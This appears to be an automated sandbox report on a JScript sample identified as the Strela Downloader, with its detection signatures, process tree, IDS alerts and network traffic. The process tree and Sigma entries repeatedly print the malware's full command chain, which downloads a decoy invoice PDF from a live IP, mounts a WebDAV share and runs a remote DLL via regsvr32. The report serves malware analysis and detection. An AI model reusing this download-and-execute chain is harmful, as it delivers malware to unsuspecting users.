Edit tour

Windows Analysis Report
533625797193620143.js

Overview

General Information

Sample name:	533625797193620143.js
Analysis ID:	1588058
MD5:	52ff51ec94fe9d655607980b779cfcc5
SHA1:	9db2b011d94635be9d484c0bea6e40df3b3baca9
SHA256:	c426ab4da68ef973948ae5dda06bb0a7600d0142a61305f649e972494d1d3111
Tags:	jsuser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 3192 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\533625797193620143.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 1668 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\171182677113765.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 1016 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 1336 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 2432 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 4152 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 7252 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2144 --field-trial-handle=1544,i,201057173347736975,16935807668665413963,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 2872 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 1080 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 4232 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 3192	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\171182677113765.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 1668, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 1336, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\171182677113765.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 1668, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 1336, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\533625797193620143.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\533625797193620143.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4004, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\533625797193620143.js", ProcessId: 3192, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 1080, Protocol: tcp, SourceIp: 192.168.2.6, SourceIsIpv6: false, SourcePort: 49742

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\171182677113765.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\171182677113765.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\533625797193620143.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3192, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\171182677113765.dll, ProcessId: 1668, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\171182677113765.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\171182677113765.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\533625797193620143.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3192, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\171182677113765.dll, ProcessId: 1668, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\171182677113765.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\171182677113765.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\533625797193620143.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3192, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\171182677113765.dll, ProcessId: 1668, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\171182677113765.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\171182677113765.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\533625797193620143.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3192, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\171182677113765.dll, ProcessId: 1668, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\171182677113765.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\171182677113765.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\533625797193620143.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3192, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\171182677113765.dll, ProcessId: 1668, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\533625797193620143.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\533625797193620143.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4004, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\533625797193620143.js", ProcessId: 3192, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\171182677113765.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 1668, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 1336, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 2872, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 1080, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 632, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 4232, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 2872, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 1080, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\171182677113765.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\171182677113765.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\533625797193620143.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3192, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\171182677113765.dll, ProcessId: 1668, ProcessName: cmd.exe

Suricata Signatures

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T20:53:49.601384+0100	1810005	1	Potentially Bad Traffic	192.168.2.6	49742	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T20:53:47.482822+0100	1810000	2	Potentially Bad Traffic	192.168.2.6	49731	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 533625797193620143.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 533625797193620143.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.6:49742 -> 193.143.1.205:8888

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 19:53:47 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49742

Source: global traffic

TCP traffic: 192.168.2.6:49742 -> 193.143.1.205:8888

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.6:49731 -> 193.143.1.205:80

Source: global traffic

